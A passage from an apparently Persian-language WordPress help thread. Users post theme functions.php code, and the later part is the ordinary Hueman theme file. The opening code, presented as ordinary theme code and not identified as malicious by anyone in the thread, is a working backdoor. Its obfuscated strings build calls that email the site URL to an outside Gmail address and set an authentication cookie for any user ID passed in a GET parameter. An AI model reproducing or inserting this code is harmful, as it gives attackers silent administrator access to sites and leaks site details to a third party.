        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="<a>";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :
   
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   
    if(!isset($showdot)) $showdot=1;
   
    $comments=$wpdb->get_results($sql);   
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $length) {
                $l=$length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $more_links_text="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
        $output=strip_tags($output, $html_tags);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }

    if ($use_link ) {
        if($forces_more) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}

function my_function_admin_bar(){
return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');

?>

از functions پوسته این کد رو حذف کن :

کد:
<?php
add_theme_support('post-thumbnails');
if ( function_exists('add_theme_support') ) {
add_theme_support('post-thumbnails');
}
?>

توی توابع پوسته (functions) اصلا چنین کدی وجود نداره خودتون یه نگاه بندازید.
 

me-pc

Registered User
تاریخ عضویت
26 مارس 2012
نوشته‌ها
2,283
لایک‌ها
360
محل سکونت
کرمان.بردسیر
کد:
<?php
/* ------------------------------------------------------------------------- *
*  Custom functions
/* ------------------------------------------------------------------------- */
  
    // Use a child theme instead of placing custom functions here
    // http://codex.wordpress.org/Child_Themes


/* ------------------------------------------------------------------------- *
*  OptionTree framework integration: Use in theme mode
/* ------------------------------------------------------------------------- */
  
    add_filter( 'ot_show_pages', '__return_false' );
    add_filter( 'ot_show_new_layout', '__return_false' );
    add_filter( 'ot_theme_mode', '__return_true' );
    load_template( get_template_directory() . '/option-tree/ot-loader.php' );


/* ------------------------------------------------------------------------- *
*  Load theme files
/* ------------------------------------------------------------------------- */  

if ( ! function_exists( 'alx_load' ) ) {
  
    function alx_load() {
        // Load theme languages
        load_theme_textdomain( 'hueman', get_template_directory().'/languages' );
      
        // Load theme options and meta boxes
        load_template( get_template_directory() . '/functions/theme-options.php' );
        load_template( get_template_directory() . '/functions/meta-boxes.php' );
      
        // Load custom widgets
        load_template( get_template_directory() . '/functions/widgets/alx-tabs.php' );
        load_template( get_template_directory() . '/functions/widgets/alx-video.php' );
        load_template( get_template_directory() . '/functions/widgets/alx-posts.php' );
      
        // Load custom shortcodes
        load_template( get_template_directory() . '/functions/shortcodes.php' );

        // Load dynamic styles
        load_template( get_template_directory() . '/functions/dynamic-styles.php' );
      
        // Load TGM plugin activation
        load_template( get_template_directory() . '/functions/class-tgm-plugin-activation.php' );
    }
  
}
add_action( 'after_setup_theme', 'alx_load' );  


/* ------------------------------------------------------------------------- *
*  Base functionality
/* ------------------------------------------------------------------------- */
  
    // Content width
    if ( !isset( $content_width ) ) { $content_width = 720; }


/*  Theme setup
/* ------------------------------------ */
if ( ! function_exists( 'alx_setup' ) ) {
  
    function alx_setup() {      
        // Enable automatic feed links
        add_theme_support( 'automatic-feed-links' );
  
        // Enable post format support
        add_theme_support( 'post-formats', array( 'audio', 'aside', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video' ) );
      
        // Declare WooCommerce support
        add_theme_support( 'woocommerce' );
      
        // Thumbnail sizes
        add_image_size( 'thumb-small', 160, 160, true );
        add_image_size( 'thumb-medium', 520, 245, true );
        add_image_size( 'thumb-large', 720, 340, true );

        // Custom menu areas
        register_nav_menus( array(
            'topbar' => 'Topbar',
            'header' => 'Header',
            'footer' => 'Footer',
        ) );
    }
  
}
add_action( 'after_setup_theme', 'alx_setup' );


/*  Register sidebars
/* ------------------------------------ */  
if ( ! function_exists( 'alx_sidebars' ) ) {

    function alx_sidebars()    {
        register_sidebar(array( 'name' => 'Primary','id' => 'primary','description' => "Normal full width sidebar", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>'));
        register_sidebar(array( 'name' => 'Secondary','id' => 'secondary','description' => "Normal full width sidebar", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>'));
        if ( ot_get_option('footer-widgets') >= '1' ) { register_sidebar(array( 'name' => 'Footer 1','id' => 'footer-1', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
        if ( ot_get_option('footer-widgets') >= '2' ) { register_sidebar(array( 'name' => 'Footer 2','id' => 'footer-2', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
        if ( ot_get_option('footer-widgets') >= '3' ) { register_sidebar(array( 'name' => 'Footer 3','id' => 'footer-3', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
        if ( ot_get_option('footer-widgets') >= '4' ) { register_sidebar(array( 'name' => 'Footer 4','id' => 'footer-4', 'description' => "Widetized footer", 'before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>')); }
    }
  
}
add_action( 'widgets_init', 'alx_sidebars' );


/*  Enqueue javascript
/* ------------------------------------ */  
if ( ! function_exists( 'alx_scripts' ) ) {
  
    function alx_scripts() {
        wp_enqueue_script( 'flexslider', get_template_directory_uri() . '/js/jquery.flexslider.min.js', array( 'jquery' ),'', false );
        wp_enqueue_script( 'jplayer', get_template_directory_uri() . '/js/jquery.jplayer.min.js', array( 'jquery' ),'', true );
        wp_enqueue_script( 'scripts', get_template_directory_uri() . '/js/scripts.js', array( 'jquery' ),'', true );
        if ( is_singular() ) { wp_enqueue_script( 'sharrre', get_template_directory_uri() . '/js/jquery.sharrre.min.js', array( 'jquery' ),'', true ); }
        if ( is_singular() && get_option( 'thread_comments' ) )    { wp_enqueue_script( 'comment-reply' ); }
    }
  
}
add_action( 'wp_enqueue_scripts', 'alx_scripts' );


/*  Enqueue css
/* ------------------------------------ */  
if ( ! function_exists( 'alx_styles' ) ) {
  
    function alx_styles() {
        wp_enqueue_style( 'style', get_stylesheet_uri() );
        if ( !ot_get_option('responsive') ) { wp_enqueue_style( 'responsive', get_template_directory_uri().'/responsive.css' ); }
        if ( ot_get_option('custom') ) { wp_enqueue_style( 'custom', get_template_directory_uri().'/custom.css' ); }
        wp_enqueue_style( 'font-awesome', get_template_directory_uri().'/fonts/font-awesome.min.css' );
    }
  
}
add_action( 'wp_enqueue_scripts', 'alx_styles' );


/*  Register custom sidebars
/* ------------------------------------ */
if ( ! function_exists( 'alx_custom_sidebars' ) ) {

    function alx_custom_sidebars() {
        if ( !ot_get_option('sidebar-areas') =='' ) {
          
            $sidebars = ot_get_option('sidebar-areas', array());
          
            if ( !empty( $sidebars ) ) {
                foreach( $sidebars as $sidebar ) {
                    if ( isset($sidebar['title']) && !empty($sidebar['title']) && isset($sidebar['id']) && !empty($sidebar['id']) && ($sidebar['id'] !='sidebar-') ) {
                        register_sidebar(array('name' => ''.$sidebar['title'].'','id' => ''.strtolower($sidebar['id']).'','before_widget' => '<div id="%1$s" class="widget %2$s">','after_widget' => '</div>','before_title' => '<h3>','after_title' => '</h3>'));
                    }
                }
            }
        }
    }
  
}
add_action( 'widgets_init', 'alx_custom_sidebars' );


/* ------------------------------------------------------------------------- *
*  Template functions
/* ------------------------------------------------------------------------- */  

/*  Layout class
/* ------------------------------------ */
if ( ! function_exists( 'alx_layout_class' ) ) {
  
    function alx_layout_class() {
        // Default layout
        $layout = 'col-3cm';
        $default = 'col-3cm';

        // Check for page/post specific layout
        if ( is_page() || is_single() ) {
            // Reset post data
            wp_reset_postdata();
            global $post;
            // Get meta
            $meta = get_post_meta($post->ID,'_layout',true);
            // Get if set and not set to inherit
            if ( isset($meta) && !empty($meta) && $meta != 'inherit' ) { $layout = $meta; }
            // Else check for page-global / single-global
            elseif ( is_single() && ( ot_get_option('layout-single') !='inherit' ) ) $layout = ot_get_option('layout-single',''.$default.'');
            elseif ( is_page() && ( ot_get_option('layout-page') !='inherit' ) ) $layout = ot_get_option('layout-page',''.$default.'');
            // Else get global option
            else $layout = ot_get_option('layout-global',''.$default.'');
        }
      
        // Set layout based on page
        elseif ( is_home() && ( ot_get_option('layout-home') !='inherit' ) ) $layout = ot_get_option('layout-home',''.$default.'');
        elseif ( is_category() && ( ot_get_option('layout-archive-category') !='inherit' ) ) $layout = ot_get_option('layout-archive-category',''.$default.'');
        elseif ( is_archive() && ( ot_get_option('layout-archive') !='inherit' ) ) $layout = ot_get_option('layout-archive',''.$default.'');
        elseif ( is_search() && ( ot_get_option('layout-search') !='inherit' ) ) $layout = ot_get_option('layout-search',''.$default.'');
        elseif ( is_404() && ( ot_get_option('layout-404') !='inherit' ) ) $layout = ot_get_option('layout-404',''.$default.'');
      
        // Global option
        else $layout = ot_get_option('layout-global',''.$default.'');
      
        // Return layout class
        return $layout;
    }
  
}


/*  Dynamic sidebar primary
/* ------------------------------------ */
if ( ! function_exists( 'alx_sidebar_primary' ) ) {
  
    function alx_sidebar_primary() {
        // Default sidebar
        $sidebar = 'primary';

        // Set sidebar based on page
        if ( is_home() && ot_get_option('s1-home') ) $sidebar = ot_get_option('s1-home');
        if ( is_single() && ot_get_option('s1-single') ) $sidebar = ot_get_option('s1-single');
        if ( is_archive() && ot_get_option('s1-archive') ) $sidebar = ot_get_option('s1-archive');
        if ( is_category() && ot_get_option('s1-archive-category') ) $sidebar = ot_get_option('s1-archive-category');
        if ( is_search() && ot_get_option('s1-search') ) $sidebar = ot_get_option('s1-search');
        if ( is_404() && ot_get_option('s1-404') ) $sidebar = ot_get_option('s1-404');
        if ( is_page() && ot_get_option('s1-page') ) $sidebar = ot_get_option('s1-page');

        // Check for page/post specific sidebar
        if ( is_page() || is_single() ) {
            // Reset post data
            wp_reset_postdata();
            global $post;
            // Get meta
            $meta = get_post_meta($post->ID,'_sidebar_primary',true);
            if ( $meta ) { $sidebar = $meta; }
        }

        // Return sidebar
        return $sidebar;
    }
  
}


/*  Dynamic sidebar secondary
/* ------------------------------------ */
if ( ! function_exists( 'alx_sidebar_secondary' ) ) {

    function alx_sidebar_secondary() {
        // Default sidebar
        $sidebar = 'secondary';

        // Set sidebar based on page
        if ( is_home() && ot_get_option('s2-home') ) $sidebar = ot_get_option('s2-home');
        if ( is_single() && ot_get_option('s2-single') ) $sidebar = ot_get_option('s2-single');
        if ( is_archive() && ot_get_option('s2-archive') ) $sidebar = ot_get_option('s2-archive');
        if ( is_category() && ot_get_option('s2-archive-category') ) $sidebar = ot_get_option('s2-archive-category');
        if ( is_search() && ot_get_option('s2-search') ) $sidebar = ot_get_option('s2-search');
        if ( is_404() && ot_get_option('s2-404') ) $sidebar = ot_get_option('s2-404');
        if ( is_page() && ot_get_option('s2-page') ) $sidebar = ot_get_option('s2-page');

        // Check for page/post specific sidebar
        if ( is_page() || is_single() ) {
            // Reset post data
            wp_reset_postdata();
            global $post;
            // Get meta
            $meta = get_post_meta($post->ID,'_sidebar_secondary',true);
            if ( $meta ) { $sidebar = $meta; }
        }

        // Return sidebar
        return $sidebar;
    }
  
}


/*  Social links
/* ------------------------------------ */
if ( ! function_exists( 'alx_social_links' ) ) {

    function alx_social_links() {
        if ( !ot_get_option('social-links') =='' ) {
            $links = ot_get_option('social-links', array());
            if ( !empty( $links ) ) {
                echo '<ul class="social-links">';  
                foreach( $links as $item ) {
                  
                    // Build each separate html-section only if set
                    if ( isset($item['title']) && !empty($item['title']) )
                        { $title = 'title="' .$item['title']. '"'; } else $title = '';
                    if ( isset($item['social-link']) && !empty($item['social-link']) )
                        { $link = 'href="' .$item['social-link']. '"'; } else $link = '';
                    if ( isset($item['social-target']) && !empty($item['social-target']) )
                        { $target = 'target="' .$item['social-target']. '"'; } else $target = '';
                    if ( isset($item['social-icon']) && !empty($item['social-icon']) )
                        { $icon = 'class="fa ' .$item['social-icon']. '"'; } else $icon = '';
                    if ( isset($item['social-color']) && !empty($item['social-color']) )
                        { $color = 'style="color: ' .$item['social-color']. ';"'; } else $color = '';
                  
                    // Put them together
                    if ( isset($item['title']) && !empty($item['title']) && isset($item['social-icon']) && !empty($item['social-icon']) && ($item['social-icon'] !='fa-') ) {
                        echo '<li><a rel="nofollow" class="social-tooltip" '.$title.' '.$link.' '.$target.'><i '.$icon.' '.$color.'></i></a></li>';
                    }
                }
                echo '</ul>';
            }
        }
    }
  
}


/*  Site name/logo
/* ------------------------------------ */
if ( ! function_exists( 'alx_site_title' ) ) {

    function alx_site_title() {
  
        // Text or image?
        if ( ot_get_option('custom-logo') ) {
            $logo = '<img src="'.ot_get_option('custom-logo').'" alt="'.get_bloginfo('name').'">';
        } else {
            $logo = get_bloginfo('name');
        }
      
        $link = '<a href="'.home_url('/').'" rel="home">'.$logo.'</a>';
      
        if ( is_front_page() || is_home() ) {
            $sitename = '<h1 class="site-title">'.$link.'</h1>'."\n";
        } else {
            $sitename = '<p class="site-title">'.$link.'</p>'."\n";
        }
      
        return $sitename;
    }
  
}


/*  Page title
/* ------------------------------------ */
if ( ! function_exists( 'alx_page_title' ) ) {

    function alx_page_title() {
        global $post;

        $heading = get_post_meta($post->ID,'_heading',true);
        $subheading = get_post_meta($post->ID,'_subheading',true);
        $title = $heading?$heading:the_title();
        if($subheading) {
            $title = $title.' <span>'.$subheading.'</span>';
        }

        return $title;
    }
  
}


/*  Blog title
/* ------------------------------------ */
if ( ! function_exists( 'alx_blog_title' ) ) {

    function alx_blog_title() {
        global $post;
        $heading = ot_get_option('blog-heading');
        $subheading = ot_get_option('blog-subheading');
        if($heading) {
            $title = $heading;
        } else {
            $title = get_bloginfo('name');
        }
        if($subheading) {
            $title = $title.' <span>'.$subheading.'</span>';
        }

        return $title;
    }
  
}


/*  Related posts
/* ------------------------------------ */
if ( ! function_exists( 'alx_related_posts' ) ) {

    function alx_related_posts() {
        wp_reset_postdata();
        global $post;

        // Define shared post arguments
        $args = array(
            'no_found_rows'                => true,
            'update_post_meta_cache'    => false,
            'update_post_term_cache'    => false,
            'ignore_sticky_posts'        => 1,
            'orderby'                    => 'rand',
            'post__not_in'                => array($post->ID),
            'posts_per_page'            => 3
        );
        // Related by categories
        if ( ot_get_option('related-posts') == 'categories' ) {
          
            $cats = get_post_meta($post->ID, 'related-cat', true);
          
            if ( !$cats ) {
                $cats = wp_get_post_categories($post->ID, array('fields'=>'ids'));
                $args['category__in'] = $cats;
            } else {
                $args['cat'] = $cats;
            }
        }
        // Related by tags
        if ( ot_get_option('related-posts') == 'tags' ) {
      
            $tags = get_post_meta($post->ID, 'related-tag', true);
          
            if ( !$tags ) {
                $tags = wp_get_post_tags($post->ID, array('fields'=>'ids'));
                $args['tag__in'] = $tags;
            } else {
                $args['tag_slug__in'] = explode(',', $tags);
            }
            if ( !$tags ) { $break = true; }
        }
      
        $query = !isset($break)?new WP_Query($args):new WP_Query;
        return $query;
    }
  
}


/*  Get images attached to post
/* ------------------------------------ */
if ( ! function_exists( 'alx_post_images' ) ) {

    function alx_post_images( $args=array() ) {
        global $post;

        $defaults = array(
            'numberposts'        => -1,
            'order'                => 'ASC',
            'orderby'            => 'menu_order',
            'post_mime_type'    => 'image',
            'post_parent'        =>  $post->ID,
            'post_type'            => 'attachment',
        );

        $args = wp_parse_args( $args, $defaults );

        return get_posts( $args );
    }
  
}


/*  Get featured post ids
/* ------------------------------------ */
if ( ! function_exists( 'alx_get_featured_post_ids' ) ) {

    function alx_get_featured_post_ids() {
        $args = array(
            'category'        => ot_get_option('featured-category'),
            'numberposts'    => ot_get_option('featured-posts-count')
        );
        $posts = get_posts($args);
        if ( !$posts ) return false;
        foreach ( $posts as $post )
            $ids[] = $post->ID;
        return $ids;
    }
  
}


/* ------------------------------------------------------------------------- *
*  Admin panel functions
/* ------------------------------------------------------------------------- */      

/*  Post formats script
/* ------------------------------------ */
if ( ! function_exists( 'alx_post_formats_script' ) ) {

    function alx_post_formats_script( $hook ) {
        // Only load on posts, pages
        if ( !in_array($hook, array('post.php','post-new.php')) )
            return;
        wp_enqueue_script('post-formats', get_template_directory_uri() . '/functions/js/post-formats.js', array( 'jquery' ));
    }
  
}
add_action( 'admin_enqueue_scripts', 'alx_post_formats_script');


/* ------------------------------------------------------------------------- *
*  Filters
/* ------------------------------------------------------------------------- */

/*  Body class
/* ------------------------------------ */
if ( ! function_exists( 'alx_body_class' ) ) {

    function alx_body_class( $classes ) {
        $classes[] = alx_layout_class();
        if ( !ot_get_option( 'boxed' ) ) { $classes[] = 'full-width'; }
        if ( ot_get_option( 'boxed' ) ) { $classes[] = 'boxed'; }
        if ( has_nav_menu('topbar') ) {    $classes[] = 'topbar-enabled'; }
        if ( ot_get_option( 'mobile-sidebar-hide' ) == 's1' ) { $classes[] = 'mobile-sidebar-hide-s1'; }
        if ( ot_get_option( 'mobile-sidebar-hide' ) == 's2' ) { $classes[] = 'mobile-sidebar-hide-s2'; }
        if ( ot_get_option( 'mobile-sidebar-hide' ) == 's1-s2' ) { $classes[] = 'mobile-sidebar-hide'; }
        return $classes;
    }
  
}
add_filter( 'body_class', 'alx_body_class' );


/*  Site title
/* ------------------------------------ */
if ( ! function_exists( 'alx_wp_title' ) ) {

    function alx_wp_title( $title ) {
        // Do not filter for RSS feed / if SEO plugin installed
        if ( is_feed() || class_exists('All_in_One_SEO_Pack') || class_exists('HeadSpace_Plugin') || class_exists('Platinum_SEO_Pack') || class_exists('wpSEO') || defined('WPSEO_VERSION') )
            return $title;
        if ( is_front_page() ) {
            $title = bloginfo('name'); echo ' - '; bloginfo('description');
        }
        if ( !is_front_page() ) {
            $title.= ''.' - '.''.get_bloginfo('name');
        }
        return $title;
    }
  
}
add_filter( 'wp_title', 'alx_wp_title' );


/*  Custom rss feed
/* ------------------------------------ */
if ( ! function_exists( 'alx_feed_link' ) ) {

    function alx_feed_link( $output, $feed ) {
        // Do not redirect comments feed
        if ( strpos( $output, 'comments' ) )
            return $output;
        // Return feed url
        return ot_get_option('rss-feed',$output);
    }
  
}
add_filter( 'feed_link', 'alx_feed_link', 10, 2 );


/*  Custom favicon
/* ------------------------------------ */
if ( ! function_exists( 'alx_favicon' ) ) {

    function alx_favicon() {
        if ( ot_get_option('favicon') ) {
            echo '<link rel="shortcut icon" href="'.ot_get_option('favicon').'" />'."\n";
        }
    }
  
}
add_filter( 'wp_head', 'alx_favicon' );


/*  Tracking code
/* ------------------------------------ */
if ( ! function_exists( 'alx_tracking_code' ) ) {

    function alx_tracking_code() {
        if ( ot_get_option('tracking-code') ) {
            echo ''.ot_get_option('tracking-code').''."\n";
        }
    }
  
}
add_filter( 'wp_footer', 'alx_tracking_code' );


/*  Excerpt ending
/* ------------------------------------ */
if ( ! function_exists( 'alx_excerpt_more' ) ) {

    function alx_excerpt_more( $more ) {
        return '&#46;&#46;&#46;';
    }
  
}
add_filter( 'excerpt_more', 'alx_excerpt_more' );


/*  Excerpt length
/* ------------------------------------ */
if ( ! function_exists( 'alx_excerpt_length' ) ) {

    function alx_excerpt_length( $length ) {
        return ot_get_option('excerpt-length',$length);
    }
  
}
add_filter( 'excerpt_length', 'alx_excerpt_length', 999 );


/*  Add wmode transparent to media embeds
/* ------------------------------------ */
if ( ! function_exists( 'alx_embed_wmode_transparent' ) ) {
  
    function alx_embed_wmode_transparent( $html, $url, $attr ) {
        if ( strpos( $html, "<embed src=" ) !== false )
           { return str_replace('</param><embed', '</param><param name="wmode" value="opaque"></param><embed wmode="opaque" ', $html); }
        elseif ( strpos ( $html, 'feature=oembed' ) !== false )
           { return str_replace( 'feature=oembed', 'feature=oembed&wmode=opaque', $html ); }
        else
           { return $html; }
    }
  
}
add_filter( 'embed_oembed_html', 'alx_embed_wmode_transparent', 10, 3 );


/*  Add responsive container to embeds
/* ------------------------------------ */  
if ( ! function_exists( 'alx_embed_html' ) ) {

    function alx_embed_html( $html ) {
        return '<div class="video-container">' . $html . '</div>';
    }

}
add_filter( 'embed_oembed_html', 'alx_embed_html', 10, 3 );
add_filter( 'video_embed_html', 'alx_embed_html' ); // Jetpack


/*  Upscale cropped thumbnails
/* ------------------------------------ */
if ( ! function_exists( 'alx_thumbnail_upscale' ) ) {

    function alx_thumbnail_upscale( $default, $orig_w, $orig_h, $new_w, $new_h, $crop ){
        if ( !$crop ) return null; // let the wordpress default function handle this

        $aspect_ratio = $orig_w / $orig_h;
        $size_ratio = max($new_w / $orig_w, $new_h / $orig_h);

        $crop_w = round($new_w / $size_ratio);
        $crop_h = round($new_h / $size_ratio);

        $s_x = floor( ($orig_w - $crop_w) / 2 );
        $s_y = floor( ($orig_h - $crop_h) / 2 );

        return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
    }
  
}
add_filter( 'image_resize_dimensions', 'alx_thumbnail_upscale', 10, 6 );


/*  Add shortcode support to text widget
/* ------------------------------------ */
add_filter( 'widget_text', 'do_shortcode' );


/*  Browser detection body_class() output
/* ------------------------------------ */
if ( ! function_exists( 'alx_browser_body_class' ) ) {

    function alx_browser_body_class( $classes ) {
        global $is_lynx, $is_gecko, $is_IE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone;

        if($is_lynx) $classes[] = 'lynx';
        elseif($is_gecko) $classes[] = 'gecko';
        elseif($is_opera) $classes[] = 'opera';
        elseif($is_NS4) $classes[] = 'ns4';
        elseif($is_safari) $classes[] = 'safari';
        elseif($is_chrome) $classes[] = 'chrome';
        elseif($is_IE) {
            $browser = $_SERVER['HTTP_USER_AGENT'];
            $browser = substr( "$browser", 25, 8);
            if ($browser == "MSIE 7.0"  ) {
                $classes[] = 'ie7';
                $classes[] = 'ie';
            } elseif ($browser == "MSIE 6.0" ) {
                $classes[] = 'ie6';
                $classes[] = 'ie';
            } elseif ($browser == "MSIE 8.0" ) {
                $classes[] = 'ie8';
                $classes[] = 'ie';
            } elseif ($browser == "MSIE 9.0" ) {
                $classes[] = 'ie9';
                $classes[] = 'ie';
            } else {
                $classes[] = 'ie';
            }
        }
        else $classes[] = 'unknown';

        if( $is_iphone ) $classes[] = 'iphone';

        return $classes;
    }
  
}
add_filter( 'body_class', 'alx_browser_body_class' );


/* ------------------------------------------------------------------------- *
*  Actions
/* ------------------------------------------------------------------------- */  

/*  Include or exclude featured articles in loop
/* ------------------------------------ */
if ( ! function_exists( 'alx_pre_get_posts' ) ) {

    function alx_pre_get_posts( $query ) {
        // Are we on main query ?
        if ( !$query->is_main_query() ) return;
        if ( $query->is_home() ) {

            // Featured posts enabled
            if ( ot_get_option('featured-posts-count') != '0' ) {
                // Get featured post ids
                $featured_post_ids = alx_get_featured_post_ids();
                // Exclude posts
                if ( $featured_post_ids && !ot_get_option('featured-posts-include') )
                    $query->set('post__not_in', $featured_post_ids);
            }
        }
    }
  
}
add_action( 'pre_get_posts', 'alx_pre_get_posts' );


/*  Script for no-js / js class
/* ------------------------------------ */
if ( ! function_exists( 'alx_html_js_class' ) ) {

    function alx_html_js_class () {
        echo '<script>document.documentElement.className = document.documentElement.className.replace("no-js","js");</script>'. "\n";
    }
  
}
add_action( 'wp_head', 'alx_html_js_class', 1 );


/*  IE js header
/* ------------------------------------ */
if ( ! function_exists( 'alx_ie_js_header' ) ) {

    function alx_ie_js_header () {
        echo '<!--[if lt IE 9]>'. "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/ie/html5.js' ) . '"></script>'. "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/ie/selectivizr.js' ) . '"></script>'. "\n";
        echo '<![endif]-->'. "\n";
    }
  
}
add_action( 'wp_head', 'alx_ie_js_header' );


/*  IE js footer
/* ------------------------------------ */
if ( ! function_exists( 'alx_ie_js_footer' ) ) {

    function alx_ie_js_footer () {
        echo '<!--[if lt IE 9]>'. "\n";
        echo '<script src="' . esc_url( get_template_directory_uri() . '/js/ie/respond.js' ) . '"></script>'. "\n";
        echo '<![endif]-->'. "\n";
    }
  
}
add_action( 'wp_footer', 'alx_ie_js_footer', 20 );  


/*  TGM plugin activation
/* ------------------------------------ */
if ( ! function_exists( 'alx_plugins' ) ) {
  
    function alx_plugins() {
      
        // Add the following plugins
        $plugins = array(
            array(
                'name'                 => 'Regenerate Thumbnails',
                'slug'                 => 'regenerate-thumbnails',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            ),
            array(
